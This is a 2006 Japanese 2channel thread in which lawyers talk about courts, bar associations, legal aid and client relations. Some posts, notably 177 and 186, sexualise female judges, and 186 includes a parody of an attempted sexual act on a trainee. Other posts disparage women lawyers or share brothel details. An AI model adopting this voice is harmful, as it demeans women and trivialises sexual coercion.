別に人格的に尊敬してるとかじゃなく、そういうのが裁判の仁義かなと思って。

裁判って説得だと思うんだけど、説得のためには権威も必要でしょう。
キリスト教圏のような神による権威裏付けの代わりに、日本で「お上」
扱いしてるのは権威を増すためではないかと思う。
私らも「あとは裁判官が決めることですから」、「裁判所の判断ですから」
とか言って、依頼者に納得してもらうこともあるわけでしょ。
だから私らが裁判所の権威傷つけるのは私らの仕事上も不都合じゃないですかね。

私、古いですか?


175 :無責任な名無しさん:2006/05/09(火) 16:14:30 ID:cNPNW23b
>>172
 当地はやや大きめの地方都市単位会だが,これまで1回「単位会名義」で某裁判官の栄転決議をしたことがある。
 もう一つは,会としてではないが,大きな法律事務所で,某裁判官の糾弾キャンペーンをやった。いずれの裁判官も栄転した。
 3年くらい前,強権発動(発言禁止・拘束)を出しまくり,誤判(高裁で無罪)した裁判官を一審協で批判しまくった。当該Jは
部長(部総括)から某地裁某支部(支部長じゃなくて,係判事)に栄転のうえ,中途退官した。
 内の単位会は,別に埼玉みたいな元気の良い会ではないけど,やるときやる。

176 :無責任な名無しさん:2006/05/09(火) 16:35:04 ID:t/L/kbX8
金澤あたりか

177 :無責任な名無しさん:2006/05/09(火) 19:37:24 ID:cNPNW23b
 だいたい,テレビドラマに出てくるような美人弁護士なんて,漏れは相手方になっ
たこともないし,弁護団仲間になったこともないね。たいてい,左翼丸出しの分巣だね。
 アダルトビデオ系の美人はむしろ裁判官に多いと思うね。たいてい,修習生時代に同期
生に籠絡されているがね。
 ある集団訴訟で,しきりにある弁護士(当職ではない)に流し目を使う美人裁判官がい
たけど,あれって,関係者に誤解を与えると思うなぁ・・・。
 アダルトビデオネタとしては,法服とか書記官とか部長とか色んな絡みが使えると思う
ので,弁護士より裁判官の鵬がよいと思われ。
 「女検事」ではムチとかロウソクとか手錠とか腰縄みたいなネタしかないので,ちょっと私
の趣味ではないね。

178 :無責任な名無しさん:2006/05/09(火) 20:00:30 ID:+eWzGQnN
そういえば女性差別が争点になってる訴訟で
敵と同年代の男性弁護士を頼んで後で死ぬほど後悔したことがある。

179 :無責任な名無しさん:2006/05/09(火) 20:54:18 ID:uBdICQaX
>>178
気のせい。

180 :無責任な名無しさん:2006/05/09(火) 20:57:22 ID:7z+BLBWK
>>177
若い女性修習生は裁判官か、裁判所に出てこない渉外・会社法務畑に行くのが多い。
女性は独立心が薄いし、綺麗系の仕事が好きだね。

181 :無責任な名無しさん:2006/05/09(火) 21:42:59 ID:+eWzGQnN
>>179
後悔したことがなぜ「気のせい。」なんでしょうか

182 :無責任な名無しさん:2006/05/09(火) 21:45:17 ID:ClzJ5vGw
非弁出て行け
その弁護士が悪いんじゃなくって事件の筋が悪いだけ

183 :無責任な名無しさん:2006/05/09(火) 21:53:29 ID:uBdICQaX

いつも疑問なのですが,「アシストセンター1課」って,何をアシストしてるんでしょうか。

184 :無責任な名無しさん:2006/05/09(火) 21:53:34 ID:+eWzGQnN
ということで
>>177 ID:cNPNW23b
>>179 ID:uBdICQaX
>>182 ID:ClzJ5vGw
が中年男性弁護士の典型例のようですので
女性の依頼者の皆さんは気をつけてくださいね。



185 :無責任な名無しさん:2006/05/09(火) 23:18:05 ID:QFtHtv+A
>>183
11日以降にチワワに聞いて下さい。w

186 :無責任な名無しさん:2006/05/10(水) 01:31:03 ID:pNDuAIMU

 アダルト・ビデオ「女裁判官X・X」
1 私の黒い法服が白濁液で汚されてしまったんです。今日の仕事はこれで終わりだろ? 10分後に
1階の法廷に来てくれないか? その後のことは黙秘ます。白濁液は洗っても落ちないのでクリー
ニングに出そうかなぁと思ったんですけど・・・。
普段滅多に付けないネッカチーフはメチャクチャに引き裂かれていました。たぶん犯人は,
オヤジの所長だと思います(異議!)

2 私は,修習生の指導をすることがたまにあるんですけど。ある修習生に対してにわかに
劣情を催し,同人を○○地裁屋上に連れて行き精宏を試みたが,同人の飲系は完全に勃起し
たものの私のオコメが湿潤せず,その目的を遂げませんでした。

187 :無責任な名無しさん:2006/05/10(水) 19:14:42 ID:svIkIxhV
>>180
>若い女性修習生は裁判官か、裁判所に出てこない渉外・会社法務畑に行くのが多い。

それは若い男性修習生でも同じだと思うけど。
男か女かの差異ではなく、むしろ「若い」かどうか。

188 :無責任な名無しさん:2006/05/11(木) 00:12:12 ID:OK9BywO8
おいしい仕事は人がやりたがらない仕事なんだけどな。

189 :無責任な名無しさん:2006/05/11(木) 00:39:23 ID:fSfE0atQ
すっぱいぶどうry

190 :無責任な名無しさん:2006/05/11(木) 00:39:49 ID:22VnCV6P
>>188
麻原の弁護とか?

191 :無責任な名無しさん:2006/05/11(木) 01:10:07 ID:yxAgHs9s
民暴とかか

192 :無責任な名無しさん:2006/05/11(木) 01:17:47 ID:ciu2TfqN
現在弁護士の方は良い仕事がたくさんありますか?
あまり無くて暇ですか?

193 :無責任な名無しさん:2006/05/11(木) 01:26:00 ID:1pbCRSl7
債務整理の残渣の処理って感じだな。

194 :無責任な名無しさん:2006/05/11(木) 01:49:47 ID:b3loPBE6
安田先生について新東京聞が冷静に論評しています

http://www.tokyo-np.co.jp/00/tokuho/20060508/mng_____tokuho__000.shtml

195 :sage:2006/05/11(木) 07:46:50 ID:ZNmBmvFv
この記事は至極まともだな。
記者はホントいい加減なことばかり書くので嫌になるよ。
マスコミのレベルの低さは特筆ものだと思う。

196 :無責任な名無しさん:2006/05/11(木) 10:26:41 ID:DUwxxrzX
東京新聞は中日新聞と同系列のの新聞だが、中日新聞とあわせて、
もっともまともな新聞だと思う。
俺は名古屋人なので中日新聞を取っているのだが、
論評などは極めてまともなものが多い。

197 :無責任な名無しさん:2006/05/11(木) 10:47:51 ID:jn44d6rj
マスコミを営利主体と考えたとき、大衆受けする論評を出すのがその使命といえるから。

198 :無責任な名無しさん:2006/05/11(木) 12:08:03 ID:mwP3Z1vd
ほとんどのマスコミは株式会社だからね。
絶対に自らは「株式会社」つきで名乗らないけど。

共同通信だけは公益法人。

199 :無責任な名無しさん:2006/05/11(木) 12:51:50 ID:m0b9jGqE
>>190
非弁乙。

200 :無責任な名無しさん:2006/05/11(木) 19:12:27 ID:GX3Umpai
弁護士は儲かりますか?。忙しいですか?。
客をどうやって呼びますか?。良い仕事ですか?。なってどうですか?
目指すかどうか考えてます。

201 :TN:2006/05/11(木) 19:22:02 ID:n9/QeGaE
弁護士は儲かりますか?。   →人による
忙しいですか?。        →同上
客をどうやって呼びますか?。 →別に呼んでない
良い仕事ですか?。      →別に
なってどうですか?      →最近は慣れた
目指すかどうか考えてます。  →好きにしろ


202 :無責任な名無しさん:2006/05/11(木) 20:05:13 ID:/lYP3VYl
弁護士は儲かりますか?。   →ボスは儲かっているようだが俺は違う
忙しいですか?。        →極めて忙しい
客をどうやって呼びますか?。 →別に呼んでない
良い仕事ですか?。      →悪い
なってどうですか?      →毎日疲れる
目指すかどうか考えてます。  →まず司法試験に受からないと悲惨な一生

203 :無責任な無責任:2006/05/11(木) 20:44:19 ID:5rcDbZ17
 共同通信が信用できるなんて信じられん。

204 :無責任な名無しさん:2006/05/11(木) 21:18:23 ID:sY6Q//A3
誰も、信じられるとは言っていないが。
公益法人とだけしか言ってない。

205 :無責任な無責任:2006/05/11(木) 21:43:38 ID:5rcDbZ17
 結局、信じられるの?

206 :無責任な名無しさん:2006/05/11(木) 22:02:18 ID:mwP3Z1vd
被疑者を容疑者,被告人を被告とわざわざ言い換えるのを続ける限り,信じない。
だって誤った用語を平気で使っているんだもの。

207 :無責任な名無しさん:2006/05/12(金) 01:01:42 ID:mcsbFvdV
>>194
濱田の弁護士登録申請(退官後の復帰)にも,常議員会では反対票・棄権票が出た。



208 :無責任な名無しさん:2006/05/12(金) 01:03:22 ID:pRVxPW33
非弁の投稿は笑うかスルーで

209 :無責任な名無しさん:2006/05/12(金) 17:55:00 ID:0/nBpErd
金曜日の夕方ともなると、もう何というかだいぶ疲弊してきて
能率が著しく低下する。
土日に仕事が入っていても、とりあえず金曜日に帰宅すると
何となくほっとする。
あと数時間頑張るか・・・

210 :無責任な名無しさん:2006/05/12(金) 18:31:26 ID:53EwxBHE
 じん肺の仕事で貫通升とかと格闘している。
 にしても,ぐーぐるのマップ機能は役に立つね。○○町 ダム と入れると一発で出てくる。

211 :無責任な名無しさん:2006/05/12(金) 19:19:03 ID:/V6T1VVo
便後死

212 :無責任な名無しさん:2006/05/12(金) 21:47:22 ID:53EwxBHE
 漏れも,確か安田被告人の事件の弁護士であった。
>>194
引用の東京新聞の記事だが,

> その使命感は、と聞こうとすると、安田は遮って「使命感じゃない。
これが弁護士という職業の仕事なんです」と言い切った。
(「遮って」・「言い切った」は脚色的な希ガス)

というあたりが,安田さんの個性を表している。事実にこだわるという点
から見ても「仕事」という言い方から見ても安田さんはザッハリッヒな人
なんだろう。確か,ヒューザーの代理人も務めていたよね。



213 :無責任な名無しさん:2006/05/13(土) 09:55:51 ID:Km3j+U5O
人権大会とか全国的な集会を地方でやる習慣は止めてほしいな。
全部クレオかその周辺でやってくれたら大変ありがたい。

今度の人権大会は釧路だろ。
湿原しかないへんぴな場所に行かされる方も迷惑だし
地元も大変でしょ。

まったく何とかしてほしいよ。

214 :無責任な名無しさん:2006/05/13(土) 11:02:58 ID:b0Ol+5eR
>213
確かに地元に何かの大会が来ると大変。
でも、日弁連の大きな大会(人権大会とか)だと、結構日弁連がいろいろ
やってくれるので、シンポの内容や資料配付など、大会の内容に関わる
準備は現実的にはない。面倒なのは、場所の確保やら当日準備。
中途半端に大きい大会が来ると、地元会でも何か分科会をやれと言われたり
日弁連の優秀な職員さんも来ず、何から何までこちらが準備しないといけない
ので、かえって大変。

ただ、自分の地元に来るのがそんなに多いわけじゃないから、大会は各地を
巡る方がいいよ。
そういう理由でもなければ、全国のいろんな県を巡ることなんてできない。
毎回クレオじゃ、日弁連に出席しているのと変わらなくて行く気がしない。

215 :無責任な名無しさん:2006/05/13(土) 11:32:11 ID:IyLeTYVp
自分で選んだ大会に好きなときに行ける身分であればかまわんのだが。
地方の単位会にいると,行きたくもない大会に無理矢理行かされる。

あと,懇親会のときに地元のアトラクションやることあるけど
やめてほしいな。
田舎の演芸みせられても,退屈なだけだよ。
その分,かわいいコンパニオンをたくさん呼んでくれ。



216 :無責任な名無しさん:2006/05/13(土) 11:44:07 ID:b0Ol+5eR
>215
いや、私も地方の単位会にいて、行きたくもない大会に動員されているけど、
そうでもしなければ平日に旅行も観光もできないし、一応経費になるしwと
割り切っているだけですよ。
自分で選んだ大会だけ、ってことにすると、結局どこにも行くことはなさそうだし。
地元のアトラクションも、まあこういう機会でもなければ一生見ることはないだろうと
割り切って見ている。変な出し物ではなく、伝統芸能系だと嬉しい。
地方でかわいいコンパニオンなんて当たったことがないので、そんなのは不要。
大会の後の懇親会に出てくるコンパニオンなんて、ゆっくり話をするわけでもなく、
ただ多くの人にお酒振る舞っているだけが多い。だったら別にホテルのウェイター
ウェイトレスだけで十分。

ま、あまり旅行も観光も好きでないと本当に嫌かもしれませんが、どうせ行かざるを
得ないのなら、楽しんで行ったらいいのでは。
私はとりあえず大会だけは出て、大会翌日あたりから2日くらいかけて
一人で周辺を観光したりその土地の食べ物を食べるのが楽しみなので、
地方の大会の方が好きなのです。

217 :無責任な名無しさん:2006/05/13(土) 12:00:48 ID:cPpXpu0p
まあ,確かに旅行・観光好きかどうかでスタンスが分かれますね。

218 :TN:2006/05/13(土) 12:16:55 ID:/3FxEg24
人権大会は今のままでいいよ
平日遊びに行っても人権大会といえばみんな納得するし
釧路じゃなく他の旅行を現在計画中

219 :無責任な名無しさん:2006/05/13(土) 12:33:16 ID:y7wu/crw
釧路死ね。

220 :無責任な名無しさん:2006/05/13(土) 12:52:06 ID:w1znFtKS
>>213
釧路は遊び場所全然ないのかな?情報頼む

221 :無責任な名無しさん:2006/05/13(土) 13:00:56 ID:HzTRFNMQ
>>220
2年くらい前に民暴大会で行った。
遊び場というのがなにを意味するのかよく分からないが、盛り場であればある。
風俗もある。アウトドアなら釧路湿原もあるし、釧路川でカヌーもできる。
釧路は魚美味しいよ。何日も滞在するのはしんどいだろうけど、1泊2泊の旅の
遊び場なら不自由しない。

222 :無責任:2006/05/13(土) 13:09:44 ID:5QgVCrkf
 そもそも、無意味な大会が大杉では?何処でやっても、無駄は無駄。
 無駄な経費を削減して、会費を値下げすべきでは?

223 :無責任な名無しさん:2006/05/13(土) 13:50:09 ID:fvZSEaoh
地方単位会の皆さんご苦労さん。

当職は、雨の中、土曜の午前をツブして屋根に上って写真を撮ってきました。
でも、誰もご苦労さんとは言ってくれない。
ケチな境界争いだから、着・報酬も、ご苦労賃にもなりません。

224 :無責任な名無しさん:2006/05/13(土) 13:54:26 ID:nN7/jd5B
今コンパニオン呼ばなくなったでしょ

225 :無責任な名無しさん:2006/05/13(土) 14:52:17 ID:47tffsaa
釧路死ね。

226 :無責任な名無しさん:2006/05/13(土) 15:29:02 ID:+Pdpfzrr
釧路の風俗情報求む。

227 :無責任な名無しさん:2006/05/13(土) 15:55:57 ID:HzTRFNMQ
コルトっていうソープがあったよ。
あからさまでびっくりした。

228 :無責任な名無しさん:2006/05/13(土) 16:50:08 ID:Ml2Xv2oA
>>224
抵抗している単位会はないのか。
単位会の催しにも呼ばなくなって寂しい限りだ。
代わりに若手女性会員が事実上お酌をしている。
本末転倒。

229 :無責任な名無しさん:2006/05/13(土) 16:53:29 ID:r+4VIBeK
この1ヶ月の間に裁判が20件ある。
1件の準備に1.5日しか使えない。
そのほかに破産の申立とか、破産管財とか。
弁護士会の会務もいろいろある。
マジ、無理。できるわけない。冗談じゃない。
と愚痴ってみる今日この頃。

230 :無責任な名無しさん:2006/05/13(土) 16:55:07 ID:HzTRFNMQ
>>229
やり手のボスだな。

231 :無責任な名無しさん:2006/05/13(土) 20:19:24 ID:ik2uSIl/
裁判の内容によるとは思うが。
知財や医療過誤の訴訟が1ヶ月20件だったら確実に死ぬと思うが。


232 :無責任な名無しさん:2006/05/13(土) 20:22:22 ID:bKgmRhPy
検索したら「釧路コルト」という店があった。

「コルト」ってなんか地元のチェーン店みたいだね。


233 :無責任な名無しさん:2006/05/13(土) 20:24:36 ID:w1znFtKS
>>231
一件最低20万×20で400万か。終了事件が同数なら倍の800万円。クレサラで100万円で900万円。
年商1億弱と

234 :無責任な名無しさん:2006/05/13(土) 20:25:11 ID:w1znFtKS
>>233
強だった

235 :無責任な名無しさん:2006/05/13(土) 20:26:07 ID:f6CfTMuP
 ○弁連連合会とか,食い物のまずい温泉旅館でやる。もう止めてほしい。
 後,○○センター委員会大会の懇親会では,各委員が「決意表明」みたいなことをやらされるが,あれは人権侵害だから止めてほしい。

236 :無責任な名無しさん:2006/05/13(土) 20:28:21 ID:f6CfTMuP
 コルトって拳銃のブランド名だろ。客に早撃ちをやらせるんだろうね(ワラ。

237 :無責任な名無しさん:2006/05/13(土) 20:33:03 ID:f6CfTMuP
 「法テラスと契約しないと国選弁護がやれないことは職業選択・営業の自由違反だ」ということで訴訟をやる被害者団募集中。詳細は,日弁連軽便センターにお気軽にお問い合わせください。

238 :TN:2006/05/13(土) 20:38:21 ID:xTCJM9K5
>>237
オレは地道にボイコット活動するよ
まあがんばってね



239 :無責任な名無しさん:2006/05/13(土) 20:39:38 ID:JaCYGjU1
法テラスとの契約は信条に反してできない……という理由で国選から堂々と逃げられるんじゃないか

240 :無責任な名無しさん:2006/05/13(土) 20:52:43 ID:f6CfTMuP
 総括するけど,最近の日弁執行部や某単位会はは,弁護士の人権を尊重しない傾向が顕著である
と思われ。「奉仕活動(プロボノ)・委員会活動しないと冥加金をとる」ってそりゃ意に反する苦役だろ。

241 :無責任な名無しさん:2006/05/13(土) 20:58:44 ID:JaCYGjU1
委員会活動も討議拘束で,対外的な発言も規制するから,思想良心の自由も研究の自由も表現の自由も侵害している希ガス

242 :無責任な名無しさん:2006/05/13(土) 21:03:17 ID:7EDzk6GP
そもそも弁護士会強制加入や自由設立の禁止が集会結社の自由を侵害してる
存在そのものが悪である


243 :無責任な名無しさん:2006/05/13(土) 21:09:36 ID:f6CfTMuP
 そのうえコンパニオン派遣自粛だろう。この種のジェンダー系弁護士が彼女らの仕事を奪
っていると言うことがわからないのかな? 日弁連は,コンパニオン嬢の営業の自由を侵害
している。
 こういうピューリタンが,フィリピン女性のエンタテイメントビザに反対
したわけだ。で,オーバーステイや偽装結婚が増える。偽装結婚ならまだ良い
方だが,暴力亭主と本当に結婚して不幸になっているフィリピン人は,結構いる
のだぞ。これもジェンダー系活動家による職業選択・営業の自由の侵害ではないか?

244 :無責任な名無しさん:2006/05/13(土) 21:25:26 ID:rIWriIcV
,使いながら恥ずかしいこと書くバカ

245 :無責任な名無しさん:2006/05/13(土) 21:45:12 ID:CoZY25yi
はじめはわざわざ「,」に変換していたけど、最近は面倒なので
「、」で書面出している。

246 :無責任な名無しさん:2006/05/13(土) 21:46:10 ID:w1znFtKS
>>245
最初から「,」で打てば?
後からだって一括変換・置換で簡単でしょ

247 :無責任な名無しさん:2006/05/13(土) 21:49:45 ID:x9kDkWJL
IMEの初期設定を変えとけば最初から「,」が出てくるよ
でも「,」を使うと高尚であるかのような243の考えがおかしいような気がする

248 :無責任な名無しさん:2006/05/13(土) 21:51:59 ID:x9kDkWJL
失礼
244の間違いね

249 :無責任な名無しさん:2006/05/13(土) 21:59:16 ID:2oywBFuS
弁護士会にもまともな考えを持った人が多数おられて、うれしいですよ。
どうして全体ではおかしなことになるんでしょうねえ。

250 :無責任な名無しさん:2006/05/13(土) 22:04:27 ID:rIWriIcV
「,」を使うと高尚である
なんて誰も言ってない。
自分が法曹だと丸出しにしながら
恥ずかしい書き込みをするからバカだと言っただけ。

251 :無責任な名無しさん:2006/05/13(土) 22:05:43 ID:rIWriIcV
て日本語本当に通じてなかったのかな。
まじで全体でおかしいことになっている希ガス。

252 :無責任な名無しさん:2006/05/13(土) 22:11:25 ID:mKIFuKEf
「,」が法曹の専売特許であるかのような考えは余計におかしい
確か文科省が、横書きは「,」が標準としていたと思う
きっとヒステリックオバタリアン弁護士の書き込みなのだろう

253 :無責任な名無しさん:2006/05/13(土) 22:15:56 ID:JaCYGjU1
総理府時代の昭和20代から,公用文の記載要綱では,横ががきでは「,と。」という文化を無視した規定になっているよ。

254 :無責任な名無しさん:2006/05/13(土) 22:25:39 ID:VtZPKSUG
世間を騒がせた否認事件の国選弁護人の選任はどうなるのだろうか。
訴追側も弁護側も法務省に人事権があるのでは裁判の公正は保たれないであろう。
執行部はなぜこのような制度を容認してしまったのか理解に苦しむ。

255 :無責任な名無しさん:2006/05/13(土) 22:28:09 ID:JaCYGjU1
特別案件で電話を掛け捲って国選就任を次々断られ,詰め腹切らされた副会長が嫌々特別案件の国選になるという手間隙気苦労をセンターに丸投げ押し付けて万歳だからでしょう。

256 :無責任な名無しさん:2006/05/13(土) 22:29:56 ID:fNY3gNBf
初期設定で読点を「,」にしておくことは可能だけど、普通の文章を打つ
ときにどうも変なんだよね。
このスレに書く分には別にいいけど、他の板で書き込むときも変だし。
それに、やっぱりどうしても日本語に「,」って違和感があるので、裁判所に
出す書面も全て「、」で通している。つまらないことだけど、どうしてもコンマを
読点とするのは嫌いだ。

257 :無責任な名無しさん:2006/05/13(土) 22:33:45 ID:JaCYGjU1
技術系書籍の横書きは,「,と.」でそれなりにスジが通ってた(昔のASCII出版)。
英文用の「,」と和文用の「。」を併用する要綱は気持ち悪いっす。

258 :無責任な名無しさん:2006/05/13(土) 22:40:24 ID:rIWriIcV
2ちゃんねるのどこかで「,」が使われていても誰も気にしないが、
このスレタイトルで「,」が使われて「弁護士会強制加入」が云々と
言う発言主が誰かというのは強い推認が働くという意味。

259 :無責任な名無しさん:2006/05/13(土) 23:19:22 ID:fx3NJoBz
>>236
どう考えても、ソープランドの昔の名称にひっかけてますが。

260 :無責任な名無しさん:2006/05/13(土) 23:37:41 ID:f6CfTMuP
>>237
 よく考えてみると「損害」の主張・立証に若干苦労する。法テラス代
理人は「法テラスに入って国選弁護を受任すると赤字になる。だから,原告の
主張には理由がない」
 と主張するであろう。まぁ,経済的損害だけでなく慰謝料を主張すれば,勝訴
の見込みがないではない。
 誰か,被害者団をやってくれないかなぁ? 

261 :無責任な名無しさん:2006/05/13(土) 23:40:57 ID:9/WxA66u
>>256
私も同感でして、横書きに「,」はどうしても似合わないと思います。
したがって、裁判所に提出する文書も確信犯で「、」で通してます。

262 :無責任な名無しさん:2006/05/13(土) 23:44:39 ID:1w3hEsYN
>>261
こういうやつが判例の年号も西暦で通したりするんだよな

263 :無責任な名無しさん:2006/05/13(土) 23:52:06 ID:f6CfTMuP
 漏れは「一応左翼」なんだけど,西暦(洋歴−寺西Jさんも使っていた)は結構め
んどい。うちの事務所の依頼者は,圧倒的に元号派だもの。依頼者から聞き取ったメ
モをいちいち西暦に直すのは面倒だしケアレスミスをする可能性も多い。
 最近,一太郎(atok)の最新版を入れたら「平成18年5月13日(土)」とか平成17年
とか勝手に変換する。

264 :261:2006/05/14(日) 00:04:50 ID:aq0owOS+
>>262
横書きに「,」は似合わない→日本語に「,」は似合わない
と訂正します。
そういう意味で、言語的に私は民族派=右翼であると思います。

265 :無責任な名無しさん:2006/05/14(日) 00:21:10 ID:RqwPEuee
「,」は本来の日本語じゃないしね

266 :無責任な名無しさん:2006/05/14(日) 01:10:04 ID:uwXPmBcH
僕は、裁判所は「利用する対象」だと思ってるので、裁判所に合わせて、
「,」、元号を使うことで統一してるよん。ここでは「、」だけどね。

267 :無責任な名無しさん:2006/05/14(日) 01:43:57 ID:pkukhvou
ダーツに興味ある人はいませんか?
初心者、上級者一切問いません。ダーツを愛する方ならどなたでも結構です。

実はあるダーツ店のマスターが客が来なくてとても困っているようです。


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できればこのマスターに励ましの言葉をお願いします。
また、もしこの店の近くにお住まいの方はお店の方にも行ってあげてください。
困ったときはお互い様です。ダーツを愛するもの同士助け合いましょう!

268 :無責任な名無しさん:2006/05/14(日) 07:39:21 ID:ooNb/D0X
>>252
文章のレベルの低さからすると法曹じゃないだろう

269 :無責任な名無しさん:2006/05/14(日) 11:48:12 ID:tyyrl3Vr
釧路死ね。

270 :無責任な名無しさん:2006/05/14(日) 12:21:38 ID:xtjRSrm5
ねえここにいる弁護士さんたちってフェミニスト的な思考を有する女性を毛嫌いしている人たちが多そうだけど、自分の依頼者がそういう思考の持ち主だったらどうしてるの?
依頼を引き受ける時点で依頼者の内心がどうなんてわかってないとおもうけど
ちゃんと依頼者の意向に沿った訴訟活動をしてるんでしょうか?

271 :無責任な名無しさん:2006/05/14(日) 12:44:57 ID:xtjRSrm5
客観的にみて「自分の考えにはフェミニスト的なところがあるかもしれない」と思う女性は男性弁護士を避けるほうがリスクを軽減できると思うなあ

272 :無責任な名無しさん:2006/05/14(日) 13:08:51 ID:RqwPEuee
フェミニスト思考かどうかで弁護士にレッテル貼るのはどうかなー
個人的思考や趣味で訴訟活動変えるヒマなんかないぞ

偏屈な依頼人とか,自説に固執して間違いを絶対認めない依頼人
こういう依頼人は,事件を受けずにお引取り願っているけど

273 :無責任な名無しさん:2006/05/14(日) 13:23:10 ID:xtjRSrm5
客観的に自分が「偏屈」で「自説に固執」でなく
相手が「偏屈」で「自説に固執」だって決め付ける人のほうが「偏屈」だと思いますが・・・。
そもそも「偏屈」云々なんて価値観の違いなんだから、
依頼者は価値観の違う弁護士に事件を依頼しないほうがトラブルが少ないってこと。

だいたい事件を受ける段階で相手が偏屈だとか判断できるの?
判断できるというのなら、少なくとも自分がいったん引き受けた事件は
依頼者の主張がフェミで納得できないなぁと思っても、依頼者の立場になってちゃんと依頼者の意向に沿った訴訟活動ができているんでしょうか?



274 :無責任な名無しさん:2006/05/14(日) 13:26:57 ID:OY96eliW
最近けっこう相談者などに「ご専門は?」
って聞かれるんだけど、俺みたいな町弁の人は
なんて答えてるんでしょうか?
いつも悩んでしまいます。

275 :無責任な名無しさん:2006/05/14(日) 13:29:46 ID:88ecHQS0
自由と正義に大事務所の特集が組まれてますが,模擬法廷まで持っている事務所があるとは知りませんでした。


276 :無責任な名無しさん:2006/05/14(日) 13:30:36 ID:RqwPEuee
私は「何でも屋・よろず屋」ですって言ってますw

277 :無責任な名無しさん:2006/05/14(日) 13:49:51 ID:s4dH2vfs
>>273
話が抽象的過ぎて見えない。
個別の事件に対する不満なら当の弁護士か弁護士会へどうぞ。

278 :無責任な名無しさん:2006/05/14(日) 14:05:18 ID:xtjRSrm5
一般論として言ってるだけ。
女性の身になって考えられずに自分のエゴを通す
法律家としての自覚に欠ける男性弁護士は
安易に女性依頼者の事件を引き受けたがらないでほしい。
被害者がどんどん増えるだけ。
法曹のジェンダーバイアスについては弁護士会も自覚して
それなりに啓蒙活動はやってるだろうけど、そんなの全部無視して
弁護士会のジェンダー系弁護士の考え方がおかしいと言い張る確信犯が跋扈している。
弁護士側が考え方を絶対に直そうとしない人が多いから、
被害者を増やさないためには被害者側にも自衛のために注意を促す必要があると思いました。


ああ自分で書いてて情けなくなるカキコ。



279 :無責任な名無しさん:2006/05/14(日) 14:14:30 ID:RqwPEuee
>>278
それなら,ここへ書くより被害者スレに書いた方が啓蒙になるよ

280 :無責任な名無しさん:2006/05/14(日) 14:40:40 ID:xtjRSrm5
被害者スレが存在しないから。
スレ立てするほどのものでもないし。

281 :無責任な名無しさん:2006/05/14(日) 14:46:39 ID:s4dH2vfs
>一般論として言ってるだけ。

ああそうですか。あなたの意見は分かりました。
これからも啓発活動を頑張ってください。

282 :無責任な名無しさん:2006/05/14(日) 15:44:26 ID:g1Z7bxoV
>>270
適法な範囲で,全力でフェミニストになりきりますが何か?
靖国参拝違憲訴訟の弁護団入ってても,初詣に護国神社に行ったりするのは平気ですが何か?

>>273
2年も弁護士やれば,30分話せば偏屈そうで後でモメそうな人を判断できるようになります。
こちらの言うことを理解してくれるのであれば,多少無理な主張でも,無理筋であることは説明したうえで,やります。
本人の主張に共感などしません。しても意味がない。
主張が共感できる仕事のほうが,弁護士が感情的になりやすくて結果が伴わないことが多い気がする。

283 :無責任な名無しさん:2006/05/14(日) 15:46:37 ID:g1Z7bxoV
>>278
書けば書くほどジェンダーバイアスを増すだけだってことに気づかないから,偏屈だと言われるのよ。

284 :無責任な名無しさん:2006/05/14(日) 16:13:47 ID:2Rvi77l2
もともとフェミニストじゃない人がにわか全力でフェミニストになろうとしても無理がある。
せいぜい依頼者と裁判所に丸投げして本人訴訟同然の訴訟活動になるのがオチ。

>2年も弁護士やれば,30分話せば偏屈そうで後でモメそうな人を判断できるようになります。
たかが2年の弁護士経験で真面目にそう思ってるなら、それがイタすぎ。
昔自分が思ってたことって若かったなぁと思うことない?



285 :無責任な名無しさん:2006/05/14(日) 16:19:19 ID:2Rvi77l2
>>283
あなたこそ書けば書くほど・・・になってるよ

私が言いたいのは単に人の生き方や考え方に絶対的な単一解なんて存在しないということ。
価値観の違う人同士がタッグを組んでも価値観の似たもの同士がタッグを組むときと比べて総じてうまくいかないことが多いのは自明の理。
それを必死で否定してヒス起こして相手に「偏屈」だと言ってると、せいぜい弁護士は世間知らずだと言われるのがオチ。

286 :無責任な名無しさん:2006/05/14(日) 16:22:23 ID:8Z5u4Ofr
連休中に現実逃避して全開で遊ぶのではなく,せめて1日くらい仕事しとけばよかった。
はぁ…。
でも,長期休暇の度にこういうため息をついてるような気がする。
進歩なさすぎ,漏れ。

287 :無責任な名無しさん:2006/05/14(日) 16:26:17 ID:RqwPEuee
>価値観の違う人同士がタッグを組んでも価値観の似たもの同士がタッグを組むときと比べて総じてうまくいかないことが多いのは自明の理。

 これが自明の理なら弁護士業務の大半は成り立たない
 何か弁護士業務に独自の思い入れや偏見がありませんか?

288 :無責任な名無しさん:2006/05/14(日) 16:34:10 ID:g1Z7bxoV
>>284

>もともとフェミニストじゃない人がにわか全力でフェミニストになろうとしても無理がある。

>せいぜい依頼者と裁判所に丸投げして本人訴訟同然の訴訟活動になるのがオチ。

フェミニストの依頼者と裁判所に丸投げして本人訴訟同然の訴訟活動をすれば,「全力でフェミニスト」が実現できていると思うが。

基本的に,自分と価値観の違う依頼者のための民事事件は,無理な否認をしている被告人の刑事事件と同じように,忠実かつ淡々とやるに限る。


289 :無責任な名無しさん:2006/05/14(日) 16:36:45 ID:g1Z7bxoV
いわゆる,Hired Gunの状態。
Hired Gunではなく,Hired Gunmanであるべきだという意見もあるが,価値観が同じでない以上はGunにしかなれない。

290 :無責任な名無しさん:2006/05/14(日) 18:10:25 ID:rU+mK5ui
たまにヒステリックな女性弁護士が紛れ込むなあ。
時々こういうのが相手方になるけどたまらんね。
2年目というからひょっとしてこの間相手方になった人かも。
期の浅い女性弁護士って始末に負えない人が時々いるね。

291 :無責任な名無しさん:2006/05/14(日) 18:16:01 ID:2Rvi77l2
本人訴訟同然の訴訟活動するために
高いお金払って弁護士依頼したいと思う人なんているのかな。
何のために依頼者が弁護士依頼すると思ってるの?

そもそも価値観の違う依頼者は価値観の合う弁護士に依頼すべきだと思わないの?
価値観の合わない依頼者からの仕事でも金になるなら仕事がほしい弁護士側の事情を抜きにして

292 :無責任な名無しさん:2006/05/14(日) 18:17:32 ID:2Rvi77l2
2年目といってるのは>>282のID:g1Z7bxoVだけど。

293 :無責任な名無しさん:2006/05/14(日) 18:27:02 ID:RqwPEuee
>そもそも価値観の違う依頼者は価値観の合う弁護士に依頼すべきだと思わないの?

 そんなことやっていたら弁護士業界は成立しないよ
 価値観が違ってもきちんとした仕事をするのがプロという常識知らないの?

294 :無責任な名無しさん:2006/05/14(日) 18:29:38 ID:2Rvi77l2
依頼者と裁判所に丸投げして本人訴訟同然の訴訟活動をすることが
プロとしてきちんと仕事をしているとは到底思えないけど。

295 :無責任な名無しさん:2006/05/14(日) 18:45:59 ID:iRXFFE/2
残念ながらそういう弁護士はいる
